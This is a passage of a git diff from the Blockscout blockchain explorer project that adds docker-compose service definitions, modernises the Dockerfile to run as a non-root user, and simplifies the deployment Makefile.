add_header 'Access-Control-Allow-Credentials' 'true' always; + add_header 'Access-Control-Allow-Methods' 'PUT, GET, POST, OPTIONS, DELETE, PATCH' always; + add_header 'Access-Control-Allow-Headers' 'DNT,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Authorization,x-csrf-token' always; + add_header 'Access-Control-Max-Age' 1728000; + add_header 'Content-Type' 'text/plain charset=UTF-8'; + add_header 'Content-Length' 0; + return 204; + } + } +} \ No newline at end of file diff --git a/docker-compose/services/backend.yml b/docker-compose/services/backend.yml new file mode 100644 index 000000000000..cb1cb54de023 --- /dev/null +++ b/docker-compose/services/backend.yml @@ -0,0 +1,17 @@ +version: '3.9' + +services: + backend: + image: ghcr.io/blockscout/${DOCKER_REPO:-blockscout}:${DOCKER_TAG:-latest} + pull_policy: always + restart: always + stop_grace_period: 5m + container_name: 'backend' + command: sh -c "bin/blockscout eval \"Elixir.Explorer.ReleaseTasks.create_and_migrate()\" && bin/blockscout start" + extra_hosts: + - 'host.docker.internal:host-gateway' + env_file: + - ../envs/common-blockscout.env + volumes: + - ./logs/:/app/logs/ + - ./dets/:/app/dets/ diff --git a/docker-compose/services/db.yml b/docker-compose/services/db.yml new file mode 100644 index 000000000000..2db8647d13dc --- /dev/null +++ b/docker-compose/services/db.yml @@ -0,0 +1,35 @@ +version: '3.9' + +services: + db-init: + image: postgres:17 + volumes: + - ./blockscout-db-data:/var/lib/postgresql/data + entrypoint: + - sh + - -c + - | + chown -R 2000:2000 /var/lib/postgresql/data + + db: + image: postgres:17 + user: 2000:2000 + shm_size: 256m + restart: always + container_name: 'db' + command: postgres -c 'max_connections=200' -c 'client_connection_check_interval=60000' + environment: + POSTGRES_DB: 'blockscout' + POSTGRES_USER: 'blockscout' + POSTGRES_PASSWORD: 'ceWb1MeLBEeOIfk65gU8EjF8' + ports: + - target: 5432 + published: 7432 + volumes: + - ./blockscout-db-data:/var/lib/postgresql/data + healthcheck: + test: ["CMD-SHELL", "pg_isready -U blockscout -d blockscout"] + interval: 10s + timeout: 5s + retries: 5 + start_period: 10s diff --git a/docker-compose/services/frontend.yml b/docker-compose/services/frontend.yml new file mode 100644 index 000000000000..2dba9b2856ff --- /dev/null +++ b/docker-compose/services/frontend.yml @@ -0,0 +1,11 @@ +version: '3.9' + +services: + frontend: + image: ghcr.io/blockscout/frontend:${FRONTEND_DOCKER_TAG:-latest} + pull_policy: always + platform: linux/amd64 + restart: always + container_name: 'frontend' + env_file: + - ../envs/common-frontend.env diff --git a/docker-compose/services/nft_media_handler.yml b/docker-compose/services/nft_media_handler.yml new file mode 100644 index 000000000000..7a5b8b2ecd14 --- /dev/null +++ b/docker-compose/services/nft_media_handler.yml @@ -0,0 +1,16 @@ +version: '3.9' + +services: + nft_media_handler: + image: ghcr.io/blockscout/${DOCKER_REPO:-blockscout}:${DOCKER_TAG:-latest} + pull_policy: always + restart: always + stop_grace_period: 5m + container_name: 'nft_media_handler' + command: sh -c "bin/blockscout start" + extra_hosts: + - 'host.docker.internal:host-gateway' + env_file: + - ../envs/common-nft-media-handler.env + volumes: + - ./logs/:/app/logs/ diff --git a/docker-compose/services/nginx-explorer.yml b/docker-compose/services/nginx-explorer.yml new file mode 100644 index 000000000000..513a054b0575 --- /dev/null +++ b/docker-compose/services/nginx-explorer.yml @@ -0,0 +1,14 @@ +version: '3.9' + +services: + proxy: + image: nginx + container_name: proxy + extra_hosts: + - 'host.docker.internal:host-gateway' + environment: + BACK_PROXY_PASS: ${BACK_PROXY_PASS:-http://backend:4000} + FRONT_PROXY_PASS: ${FRONT_PROXY_PASS:-http://frontend:3000} + ports: + - target: 80 + published: 80 diff --git a/docker-compose/services/nginx.yml b/docker-compose/services/nginx.yml new file mode 100644 index 000000000000..bc225c9082b6 --- /dev/null +++ b/docker-compose/services/nginx.yml @@ -0,0 +1,20 @@ +version: '3.9' + +services: + proxy: + image: nginx + container_name: proxy + extra_hosts: + - 'host.docker.internal:host-gateway' + volumes: + - "../proxy:/etc/nginx/templates" + environment: + BACK_PROXY_PASS: ${BACK_PROXY_PASS:-http://backend:4000} + FRONT_PROXY_PASS: ${FRONT_PROXY_PASS:-http://frontend:3000} + ports: + - target: 80 + published: 80 + - target: 8080 + published: 8080 + - target: 8081 + published: 8081 diff --git a/docker-compose/services/redis.yml b/docker-compose/services/redis.yml new file mode 100644 index 000000000000..93f616686de6 --- /dev/null +++ b/docker-compose/services/redis.yml @@ -0,0 +1,9 @@ +version: '3.9' + +services: + redis-db: + image: 'redis:alpine' + container_name: redis-db + command: redis-server + volumes: + - ./redis-data:/data diff --git a/docker-compose/services/sig-provider.yml b/docker-compose/services/sig-provider.yml new file mode 100644 index 000000000000..8c0cb33337c9 --- /dev/null +++ b/docker-compose/services/sig-provider.yml @@ -0,0 +1,9 @@ +version: '3.9' + +services: + sig-provider: + image: ghcr.io/blockscout/sig-provider:${SIG_PROVIDER_DOCKER_TAG:-latest} + pull_policy: always + platform: linux/amd64 + restart: always + container_name: 'sig-provider' diff --git a/docker-compose/services/smart-contract-verifier.yml b/docker-compose/services/smart-contract-verifier.yml new file mode 100644 index 000000000000..03e633c6958a --- /dev/null +++ b/docker-compose/services/smart-contract-verifier.yml @@ -0,0 +1,11 @@ +version: '3.9' + +services: + smart-contract-verifier: + image: ghcr.io/blockscout/smart-contract-verifier:${SMART_CONTRACT_VERIFIER_DOCKER_TAG:-latest} + pull_policy: always + platform: linux/amd64 + restart: always + container_name: 'smart-contract-verifier' + env_file: + - ../envs/common-smart-contract-verifier.env diff --git a/docker-compose/services/stats.yml b/docker-compose/services/stats.yml new file mode 100644 index 000000000000..d4f7e8dffcd6 --- /dev/null +++ b/docker-compose/services/stats.yml @@ -0,0 +1,51 @@ +version: '3.9' + +services: + stats-db-init: + image: postgres:17 + volumes: + - ./stats-db-data:/var/lib/postgresql/data + entrypoint: + - sh + - -c + - | + chown -R 2000:2000 /var/lib/postgresql/data + + stats-db: + image: postgres:17 + user: 2000:2000 + shm_size: 256m + restart: always + container_name: 'stats-db' + command: postgres -c 'max_connections=200' + environment: + POSTGRES_DB: 'stats' + POSTGRES_USER: 'stats' + POSTGRES_PASSWORD: 'n0uejXPl61ci6ldCuE2gQU5Y' + ports: + - target: 5432 + published: 7433 + volumes: + - ./stats-db-data:/var/lib/postgresql/data + healthcheck: + test: ["CMD-SHELL", "pg_isready -U stats -d stats"] + interval: 10s + timeout: 5s + retries: 5 + start_period: 10s + + stats: + image: ghcr.io/blockscout/stats:${STATS_DOCKER_TAG:-latest} + pull_policy: always + platform: linux/amd64 + restart: always + container_name: 'stats' + extra_hosts: + - 'host.docker.internal:host-gateway' + env_file: + - ../envs/common-stats.env + environment: + - STATS__DB_URL=${STATS__DB_URL:-postgres://stats:n0uejXPl61ci6ldCuE2gQU5Y@stats-db:5432/stats} + - STATS__BLOCKSCOUT_DB_URL=${STATS__BLOCKSCOUT_DB_URL:-postgresql://blockscout:ceWb1MeLBEeOIfk65gU8EjF8@db:5432/blockscout} + - STATS__CREATE_DATABASE=${STATS__CREATE_DATABASE:-true} + - STATS__RUN_MIGRATIONS=${STATS__RUN_MIGRATIONS:-true} diff --git a/docker-compose/services/user-ops-indexer.yml b/docker-compose/services/user-ops-indexer.yml new file mode 100644 index 000000000000..352083b9a688 --- /dev/null +++ b/docker-compose/services/user-ops-indexer.yml @@ -0,0 +1,17 @@ +version: '3.9' + +services: + user-ops-indexer: + image: ghcr.io/blockscout/user-ops-indexer:${USER_OPS_INDEXER_DOCKER_TAG:-latest} + pull_policy: always + platform: linux/amd64 + restart: always + container_name: 'user-ops-indexer' + extra_hosts: + - 'host.docker.internal:host-gateway' + env_file: + - ../envs/common-user-ops-indexer.env + environment: + - USER_OPS_INDEXER__INDEXER__RPC_URL=${USER_OPS_INDEXER__INDEXER__RPC_URL:-ws://host.docker.internal:8545/} + - USER_OPS_INDEXER__DATABASE__CONNECT__URL=${USER_OPS_INDEXER__DATABASE__CONNECT__URL:-postgresql://blockscout:ceWb1MeLBEeOIfk65gU8EjF8@db:5432/blockscout} + - USER_OPS_INDEXER__DATABASE__RUN_MIGRATIONS=true diff --git a/docker-compose/services/visualizer.yml b/docker-compose/services/visualizer.yml new file mode 100644 index 000000000000..37a4aaad880b --- /dev/null +++ b/docker-compose/services/visualizer.yml @@ -0,0 +1,11 @@ +version: '3.9' + +services: + visualizer: + image: ghcr.io/blockscout/visualizer:${VISUALIZER_DOCKER_TAG:-latest} + pull_policy: always + platform: linux/amd64 + restart: always + container_name: 'visualizer' + env_file: + - ../envs/common-visualizer.env diff --git a/docker/Dockerfile b/docker/Dockerfile index b0a6f0591b82..20232af3064f 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -1,84 +1,92 @@ -FROM bitwalker/alpine-elixir-phoenix:1.13 AS builder +FROM hexpm/elixir:1.17.3-erlang-27.3.4-alpine-3.21.3 AS builder-deps WORKDIR /app -RUN apk --no-cache --update add alpine-sdk gmp-dev automake libtool inotify-tools autoconf python3 file qemu-x86_64 jq - -ENV GLIBC_REPO=https://github.com/sgerrand/alpine-pkg-glibc \ - GLIBC_VERSION=2.30-r0 \ - PORT=4000 \ - MIX_ENV="prod" \ - SECRET_KEY_BASE="RMgI4C1HSkxsEjdhtGMfwAHfyT6CKWXOgzCboJflfSm4jeAlic52io05KB6mqzc5" \ - PATH="$HOME/.cargo/bin:${PATH}" \ - RUSTFLAGS="-C target-feature=-crt-static" - -RUN set -ex && \ - apk --update add libstdc++ curl ca-certificates && \ - for pkg in glibc-${GLIBC_VERSION} glibc-bin-${GLIBC_VERSION}; \ - do curl -sSL ${GLIBC_REPO}/releases/download/${GLIBC_VERSION}/${pkg}.apk -o /tmp/${pkg}.apk; done && \ - apk add --allow-untrusted /tmp/*.apk && \ - rm -v /tmp/*.apk && \ - /usr/glibc-compat/sbin/ldconfig /lib /usr/glibc-compat/lib - -# Get Rust -RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y - -ARG CACHE_EXCHANGE_RATES_PERIOD -ARG DISABLE_READ_API -ARG API_PATH -ARG NETWORK_PATH -ARG DISABLE_WEBAPP -ARG DISABLE_WRITE_API -ARG CACHE_ENABLE_TOTAL_GAS_USAGE_COUNTER -ARG WOBSERVER_ENABLED -ARG ADMIN_PANEL_ENABLED -ARG CACHE_ADDRESS_WITH_BALANCES_UPDATE_INTERVAL -ARG SOCKET_ROOT -ARG COIN +RUN apk --no-cache --update add \ + alpine-sdk gmp-dev automake libtool inotify-tools autoconf python3 file gcompat libstdc++ curl ca-certificates git make bash # Cache elixir deps -ADD mix.exs mix.lock ./ -ADD apps/block_scout_web/mix.exs ./apps/block_scout_web/ -ADD apps/explorer/mix.exs ./apps/explorer/ -ADD apps/ethereum_jsonrpc/mix.exs ./apps/ethereum_jsonrpc/ -ADD apps/indexer/mix.exs ./apps/indexer/ +COPY mix.exs mix.lock ./ +COPY apps/block_scout_web/mix.exs ./apps/block_scout_web/ +COPY apps/explorer/mix.exs ./apps/explorer/ +COPY apps/ethereum_jsonrpc/mix.exs ./apps/ethereum_jsonrpc/ +COPY apps/indexer/mix.exs ./apps/indexer/ +COPY apps/utils/mix.exs ./apps/utils/ +COPY apps/nft_media_handler/mix.exs ./apps/nft_media_handler/ + +ENV MIX_ENV="prod" +ENV MIX_HOME=/opt/mix +RUN mix local.hex --force +RUN mix do deps.get, local.rebar --force, deps.compile --skip-umbrella-children + +COPY config ./config +COPY rel ./rel +COPY apps ./apps -RUN mix do deps.get, local.rebar --force, deps.compile - -ADD . . - -COPY . . - -RUN if [ "$COIN" != "" ]; then \ - sed -i s/"POA"/"${COIN}"/g apps/block_scout_web/priv/gettext/en/LC_MESSAGES/default.po; \ - sed -i "/msgid \"Ether\"/{n;s/msgstr \"\"/msgstr \"${COIN}\"/g}" apps/block_scout_web/priv/gettext/default.pot; \ - sed -i "/msgid \"Ether\"/{n;s/msgstr \"\"/msgstr \"${COIN}\"/g}" apps/block_scout_web/priv/gettext/en/LC_MESSAGES/default.po; \ - sed -i "/msgid \"ETH\"/{n;s/msgstr \"\"/msgstr \"${COIN}\"/g}" apps/block_scout_web/priv/gettext/default.pot; \ - sed -i "/msgid \"ETH\"/{n;s/msgstr \"\"/msgstr \"${COIN}\"/g}" apps/block_scout_web/priv/gettext/en/LC_MESSAGES/default.po; \ - fi - -# Run forderground build and phoenix digest -RUN mix compile && npm install npm@latest - -# Add blockscout npm deps -RUN cd apps/block_scout_web/assets/ && \ - npm install && \ - npm run deploy && \ - cd /app/apps/explorer/ && \ - npm install && \ - apk update && \ - apk del --force-broken-world alpine-sdk gmp-dev automake libtool inotify-tools autoconf python3 - -RUN mix phx.digest - -RUN mkdir -p /opt/release \ - && mix release blockscout \ - && mv _build/${MIX_ENV}/rel/blockscout /opt/release +############################################################## +FROM builder-deps AS builder + +ENV DISABLE_WEBAPP=true +ENV ADMIN_PANEL_ENABLED=false +ARG DISABLE_API +ENV DISABLE_API=${DISABLE_API} +ARG API_V1_READ_METHODS_DISABLED +ENV API_V1_READ_METHODS_DISABLED=${API_V1_READ_METHODS_DISABLED} +ARG API_V1_WRITE_METHODS_DISABLED +ENV API_V1_WRITE_METHODS_DISABLED=${API_V1_WRITE_METHODS_DISABLED} +ARG CHAIN_TYPE +ENV CHAIN_TYPE=${CHAIN_TYPE} +ARG BRIDGED_TOKENS_ENABLED +ENV BRIDGED_TOKENS_ENABLED=${BRIDGED_TOKENS_ENABLED} +ARG API_GRAPHQL_MAX_COMPLEXITY +ENV API_GRAPHQL_MAX_COMPLEXITY=${API_GRAPHQL_MAX_COMPLEXITY} + +# Run backend compilation +RUN mix compile + +RUN mkdir -p /opt/release && \ + mix release blockscout && \ + mv _build/${MIX_ENV}/rel/blockscout /opt/release ############################################################## -FROM bitwalker/alpine-elixir-phoenix:1.13 +FROM hexpm/elixir:1.17.3-erlang-27.3.4-alpine-3.21.3 WORKDIR /app -COPY --from=builder /opt/release/blockscout . -COPY --from=builder /app/apps/explorer/node_modules ./node_modules +ARG BLOCKSCOUT_USER=blockscout +ARG BLOCKSCOUT_GROUP=blockscout +ARG BLOCKSCOUT_UID=10001 +ARG BLOCKSCOUT_GID=10001 + +RUN apk --no-cache --update add jq curl && \ + addgroup --system --gid ${BLOCKSCOUT_GID} ${BLOCKSCOUT_GROUP} && \ + adduser --system --uid ${BLOCKSCOUT_UID} --ingroup ${BLOCKSCOUT_GROUP} --disabled-password --home /app ${BLOCKSCOUT_USER} + +ENV DISABLE_WEBAPP=true +ENV ADMIN_PANEL_ENABLED=false +ARG DISABLE_API +ENV DISABLE_API=${DISABLE_API} +ARG API_V1_READ_METHODS_DISABLED +ENV API_V1_READ_METHODS_DISABLED=${API_V1_READ_METHODS_DISABLED} +ARG API_V1_WRITE_METHODS_DISABLED +ENV API_V1_WRITE_METHODS_DISABLED=${API_V1_WRITE_METHODS_DISABLED} +ARG CHAIN_TYPE +ENV CHAIN_TYPE=${CHAIN_TYPE} +ARG BRIDGED_TOKENS_ENABLED +ENV BRIDGED_TOKENS_ENABLED=${BRIDGED_TOKENS_ENABLED} +ARG API_GRAPHQL_MAX_COMPLEXITY +ENV API_GRAPHQL_MAX_COMPLEXITY=${API_GRAPHQL_MAX_COMPLEXITY} + +ARG RELEASE_VERSION +ENV RELEASE_VERSION=${RELEASE_VERSION} +ARG BLOCKSCOUT_VERSION +ENV BLOCKSCOUT_VERSION=${BLOCKSCOUT_VERSION} + +COPY --from=builder --chown=${BLOCKSCOUT_USER}:${BLOCKSCOUT_GROUP} /opt/release/blockscout . +COPY --from=builder --chown=${BLOCKSCOUT_USER}:${BLOCKSCOUT_GROUP} /app/config/config_helper.exs ./config/config_helper.exs +COPY --from=builder --chown=${BLOCKSCOUT_USER}:${BLOCKSCOUT_GROUP} /app/config/config_helper.exs /app/releases/${RELEASE_VERSION}/config_helper.exs +COPY --from=builder --chown=${BLOCKSCOUT_USER}:${BLOCKSCOUT_GROUP} /app/config/assets/precompiles-arbitrum.json ./config/assets/precompiles-arbitrum.json + +RUN mkdir dets && mkdir temp && chown -R ${BLOCKSCOUT_USER}:${BLOCKSCOUT_GROUP} /app + +USER ${BLOCKSCOUT_USER}:${BLOCKSCOUT_GROUP} diff --git a/docker/Makefile b/docker/Makefile index f16843d91e3b..83e27f936fea 100644 --- a/docker/Makefile +++ b/docker/Makefile @@ -1,538 +1,91 @@ -SYSTEM := $(shell uname -s) -HOST := host.docker.internal DOCKER_REPO := blockscout -APP_NAME := blockscout -BS_CONTAINER_IMAGE := $(DOCKER_REPO)/$(APP_NAME) -BS_CONTAINER_NAME := blockscout -PG_CONTAINER_IMAGE := postgres:14 -PG_CONTAINER_NAME := db -THIS_FILE = $(lastword $(MAKEFILE_LIST)) -TAG := $(RELEASE_VERSION)-prerelease-$(shell git log -1 --pretty=format:"%h") +BACKEND_APP_NAME := blockscout +FRONTEND_APP_NAME := frontend +BACKEND_CONTAINER_IMAGE := $(DOCKER_REPO)/$(BACKEND_APP_NAME) +BACKEND_CONTAINER_NAME := backend +FRONTEND_CONTAINER_NAME := frontend +VISUALIZER_CONTAINER_NAME := visualizer +SIG_PROVIDER_CONTAINER_NAME := sig-provider +STATS_CONTAINER_NAME := stats +STATS_DB_CONTAINER_NAME := stats-db +PROXY_CONTAINER_NAME := proxy +PG_CONTAINER_NAME := postgres +RELEASE_VERSION ?= '9.1.1' +TAG := $(RELEASE_VERSION)-commit-$(shell git log -1 --pretty=format:"%h") STABLE_TAG := $(RELEASE_VERSION) -ifeq ($(SYSTEM), Linux) - HOST=localhost -endif - -ifdef DATABASE_URL - DB_URL = $(DATABASE_URL) +start: + @echo "==> Starting blockscout db" + @docker-compose -f ../docker-compose/services/db.yml up -d + @echo "==> Starting blockscout backend" + @docker-compose -f ../docker-compose/services/backend.yml up -d + @echo "==> Starting stats microservice" + @docker-compose -f ../docker-compose/services/stats.yml up -d + @echo "==> Starting visualizer microservice" + @docker-compose -f ../docker-compose/services/visualizer.yml up -d + @echo "==> Starting sig-provider microservice" + @docker-compose -f ../docker-compose/services/sig-provider.yml up -d + @echo "==> Starting blockscout frontend" + @docker-compose -f ../docker-compose/services/frontend.yml up -d + @echo "==> Starting Nginx proxy" + @docker-compose -f ../docker-compose/services/nginx.yml up -d + +BS_BACKEND_STARTED := $(shell docker ps --no-trunc --filter name=^/${BACKEND_CONTAINER_NAME}$ | grep ${BACKEND_CONTAINER_NAME}) +BS_FRONTEND_STARTED := $(shell docker ps --no-trunc --filter name=^/${FRONTEND_CONTAINER_NAME}$ | grep ${FRONTEND_CONTAINER_NAME}) +BS_STATS_STARTED := $(shell docker ps --no-trunc --filter name=^/${STATS_CONTAINER_NAME}$ | grep ${STATS_CONTAINER_NAME}) +BS_STATS_DB_STARTED := $(shell docker ps --no-trunc --filter name=^/${STATS_DB_CONTAINER_NAME}$ | grep ${STATS_DB_CONTAINER_NAME}) +BS_VISUALIZER_STARTED := $(shell docker ps --no-trunc --filter name=^/${VISUALIZER_CONTAINER_NAME}$ | grep ${VISUALIZER_CONTAINER_NAME}) +BS_SIG_PROVIDER_STARTED := $(shell docker ps --no-trunc --filter name=^/${SIG_PROVIDER_CONTAINER_NAME}$ | grep ${SIG_PROVIDER_CONTAINER_NAME}) +BS_PROXY_STARTED := $(shell docker ps --no-trunc --filter name=^/${PROXY_CONTAINER_NAME}$ | grep ${PROXY_CONTAINER_NAME}) +stop: +ifdef BS_FRONTEND_STARTED + @echo "==> Stopping Blockscout frontend container." + @docker stop $(FRONTEND_CONTAINER_NAME) && docker rm -f $(FRONTEND_CONTAINER_NAME) + @echo "==> Blockscout frontend container stopped." else - DB_URL = postgresql://postgres:@$(HOST):5432/blockscout?ssl=false - ECTO_USE_SSL = 'false' -endif -BLOCKSCOUT_CONTAINER_PARAMS = -e 'MIX_ENV=prod' \ - -e 'DATABASE_URL=$(DB_URL)' -ifeq ($(SYSTEM), Linux) - BLOCKSCOUT_CONTAINER_PARAMS += --network=host -endif -ifdef NETWORK - BLOCKSCOUT_CONTAINER_PARAMS += -e 'NETWORK=$(NETWORK)' -endif -ifdef SUBNETWORK - BLOCKSCOUT_CONTAINER_PARAMS += -e 'SUBNETWORK=$(SUBNETWORK)' -endif -ifdef LOGO - BLOCKSCOUT_CONTAINER_PARAMS += -e 'LOGO=$(LOGO)' -endif -ifdef LOGO_FOOTER - BLOCKSCOUT_CONTAINER_PARAMS += -e 'LOGO_FOOTER=$(LOGO_FOOTER)' -endif -ifdef ETHEREUM_JSONRPC_VARIANT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'ETHEREUM_JSONRPC_VARIANT=$(ETHEREUM_JSONRPC_VARIANT)' -endif -ifdef ETHEREUM_JSONRPC_HTTP_URL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'ETHEREUM_JSONRPC_HTTP_URL=$(ETHEREUM_JSONRPC_HTTP_URL)' -endif -ifdef ETHEREUM_JSONRPC_TRACE_URL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'ETHEREUM_JSONRPC_TRACE_URL=$(ETHEREUM_JSONRPC_TRACE_URL)' -endif -ifdef ETHEREUM_JSONRPC_WS_URL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'ETHEREUM_JSONRPC_WS_URL=$(ETHEREUM_JSONRPC_WS_URL)' -endif -ifdef ETHEREUM_JSONRPC_TRANSPORT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'ETHEREUM_JSONRPC_TRANSPORT=$(ETHEREUM_JSONRPC_TRANSPORT)' -endif -ifdef ETHEREUM_JSONRPC_DISABLE_ARCHIVE_BALANCES - BLOCKSCOUT_CONTAINER_PARAMS += -e 'ETHEREUM_JSONRPC_DISABLE_ARCHIVE_BALANCES=$(ETHEREUM_JSONRPC_DISABLE_ARCHIVE_BALANCES)' -endif -ifdef IPC_PATH - BLOCKSCOUT_CONTAINER_PARAMS += -e 'IPC_PATH=$(IPC_PATH)' -endif -ifdef NETWORK_PATH - BLOCKSCOUT_CONTAINER_PARAMS += -e 'NETWORK_PATH=$(NETWORK_PATH)' -endif -ifdef CHECK_ORIGIN - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CHECK_ORIGIN=$(CHECK_ORIGIN)' -endif -ifdef COIN - BLOCKSCOUT_CONTAINER_PARAMS += -e 'COIN=$(COIN)' -endif -ifdef METADATA_CONTRACT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'METADATA_CONTRACT=$(METADATA_CONTRACT)' -endif -ifdef VALIDATORS_CONTRACT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'VALIDATORS_CONTRACT=$(VALIDATORS_CONTRACT)' -endif -ifdef KEYS_MANAGER_CONTRACT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'KEYS_MANAGER_CONTRACT=$(KEYS_MANAGER_CONTRACT)' -endif -ifdef SUPPLY_MODULE - BLOCKSCOUT_CONTAINER_PARAMS += -e 'SUPPLY_MODULE=$(SUPPLY_MODULE)' -endif -ifdef POOL_SIZE - BLOCKSCOUT_CONTAINER_PARAMS += -e 'POOL_SIZE=$(POOL_SIZE)' -endif -ifdef ECTO_USE_SSL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'ECTO_USE_SSL=$(ECTO_USE_SSL)' -endif -ifdef DATADOG_HOST - BLOCKSCOUT_CONTAINER_PARAMS += -e 'DATADOG_HOST=$(DATADOG_HOST)' -endif -ifdef DATADOG_PORT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'DATADOG_PORT=$(DATADOG_PORT)' -endif -ifdef SPANDEX_BATCH_SIZE - BLOCKSCOUT_CONTAINER_PARAMS += -e 'SPANDEX_BATCH_SIZE=$(SPANDEX_BATCH_SIZE)' -endif -ifdef SPANDEX_SYNC_THRESHOLD - BLOCKSCOUT_CONTAINER_PARAMS += -e 'SPANDEX_SYNC_THRESHOLD=$(SPANDEX_SYNC_THRESHOLD)' -endif -ifdef HEART_BEAT_TIMEOUT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'HEART_BEAT_TIMEOUT=$(HEART_BEAT_TIMEOUT)' -endif -ifdef HEART_COMMAND - BLOCKSCOUT_CONTAINER_PARAMS += -e 'HEART_COMMAND=$(HEART_COMMAND)' -endif -ifdef BLOCKSCOUT_VERSION - BLOCKSCOUT_CONTAINER_PARAMS += -e 'BLOCKSCOUT_VERSION=$(BLOCKSCOUT_VERSION)' -endif -ifdef RELEASE_LINK - BLOCKSCOUT_CONTAINER_PARAMS += -e 'RELEASE_LINK=$(RELEASE_LINK)' -endif -ifdef ELIXIR_VERSION - BLOCKSCOUT_CONTAINER_PARAMS += -e 'ELIXIR_VERSION=$(ELIXIR_VERSION)' -endif -ifdef BLOCK_TRANSFORMER - BLOCKSCOUT_CONTAINER_PARAMS += -e 'BLOCK_TRANSFORMER=$(BLOCK_TRANSFORMER)' -endif -ifdef GRAPHIQL_TRANSACTION - BLOCKSCOUT_CONTAINER_PARAMS += -e 'GRAPHIQL_TRANSACTION=$(GRAPHIQL_TRANSACTION)' -endif -ifdef BLOCK_RANGES - BLOCKSCOUT_CONTAINER_PARAMS += -e 'BLOCK_RANGES=$(BLOCK_RANGES)' -endif -ifdef FIRST_BLOCK - BLOCKSCOUT_CONTAINER_PARAMS += -e 'FIRST_BLOCK=$(FIRST_BLOCK)' -endif -ifdef LAST_BLOCK - BLOCKSCOUT_CONTAINER_PARAMS += -e 'LAST_BLOCK=$(LAST_BLOCK)' -endif -ifdef TRACE_FIRST_BLOCK - BLOCKSCOUT_CONTAINER_PARAMS += -e 'TRACE_FIRST_BLOCK=$(TRACE_FIRST_BLOCK)' -endif -ifdef TRACE_LAST_BLOCK - BLOCKSCOUT_CONTAINER_PARAMS += -e 'TRACE_LAST_BLOCK=$(TRACE_LAST_BLOCK)' -endif -ifdef CACHE_TXS_COUNT_PERIOD - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CACHE_TXS_COUNT_PERIOD=$(CACHE_TXS_COUNT_PERIOD)' -endif -ifdef CACHE_ADDRESS_WITH_BALANCES_UPDATE_INTERVAL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CACHE_ADDRESS_WITH_BALANCES_UPDATE_INTERVAL=$(CACHE_ADDRESS_WITH_BALANCES_UPDATE_INTERVAL)' -endif -ifdef LINK_TO_OTHER_EXPLORERS - BLOCKSCOUT_CONTAINER_PARAMS += -e 'LINK_TO_OTHER_EXPLORERS=$(LINK_TO_OTHER_EXPLORERS)' -endif -ifdef SUPPORTED_CHAINS - BLOCKSCOUT_CONTAINER_PARAMS += -e 'SUPPORTED_CHAINS=$(SUPPORTED_CHAINS)' -endif -ifdef CACHE_BLOCK_COUNT_PERIOD - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CACHE_BLOCK_COUNT_PERIOD=$(CACHE_BLOCK_COUNT_PERIOD)' -endif -ifdef CACHE_ADDRESS_SUM_PERIOD - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CACHE_ADDRESS_SUM_PERIOD=$(CACHE_ADDRESS_SUM_PERIOD)' -endif -ifdef CACHE_ADDRESS_COUNT_PERIOD - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CACHE_ADDRESS_COUNT_PERIOD=$(CACHE_ADDRESS_COUNT_PERIOD)' -endif -ifdef ALLOWED_EVM_VERSIONS - BLOCKSCOUT_CONTAINER_PARAMS += -e 'ALLOWED_EVM_VERSIONS=$(ALLOWED_EVM_VERSIONS)' -endif -ifdef UNCLES_IN_AVERAGE_BLOCK_TIME - BLOCKSCOUT_CONTAINER_PARAMS += -e 'UNCLES_IN_AVERAGE_BLOCK_TIME=$(UNCLES_IN_AVERAGE_BLOCK_TIME)' -endif -ifdef CACHE_AVERAGE_BLOCK_PERIOD - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CACHE_AVERAGE_BLOCK_PERIOD=$(CACHE_AVERAGE_BLOCK_PERIOD)' -endif -ifdef CACHE_MARKET_HISTORY_PERIOD - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CACHE_MARKET_HISTORY_PERIOD=$(CACHE_MARKET_HISTORY_PERIOD)' -endif -ifdef DISABLE_WEBAPP - BLOCKSCOUT_CONTAINER_PARAMS += -e 'DISABLE_WEBAPP=$(DISABLE_WEBAPP)' -endif -ifdef DISABLE_READ_API - BLOCKSCOUT_CONTAINER_PARAMS += -e 'DISABLE_READ_API=$(DISABLE_READ_API)' -endif -ifdef DISABLE_WRITE_API - BLOCKSCOUT_CONTAINER_PARAMS += -e 'DISABLE_WRITE_API=$(DISABLE_WRITE_API)' -endif -ifdef DISABLE_INDEXER - BLOCKSCOUT_CONTAINER_PARAMS += -e 'DISABLE_INDEXER=$(DISABLE_INDEXER)' -endif -ifdef DISABLE_REALTIME_INDEXER - BLOCKSCOUT_CONTAINER_PARAMS += -e 'DISABLE_REALTIME_INDEXER=$(DISABLE_REALTIME_INDEXER)' -endif -ifdef WEBAPP_URL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'WEBAPP_URL=$(WEBAPP_URL)' -endif -ifdef API_URL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'API_URL=$(API_URL)' -endif -ifdef CHAIN_SPEC_PATH - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CHAIN_SPEC_PATH=$(CHAIN_SPEC_PATH)' -endif -ifdef EMISSION_FORMAT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'EMISSION_FORMAT=$(EMISSION_FORMAT)' -endif -ifdef REWARDS_CONTRACT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'REWARDS_CONTRACT=$(REWARDS_CONTRACT)' -endif -ifdef SHOW_ADDRESS_MARKETCAP_PERCENTAGE - 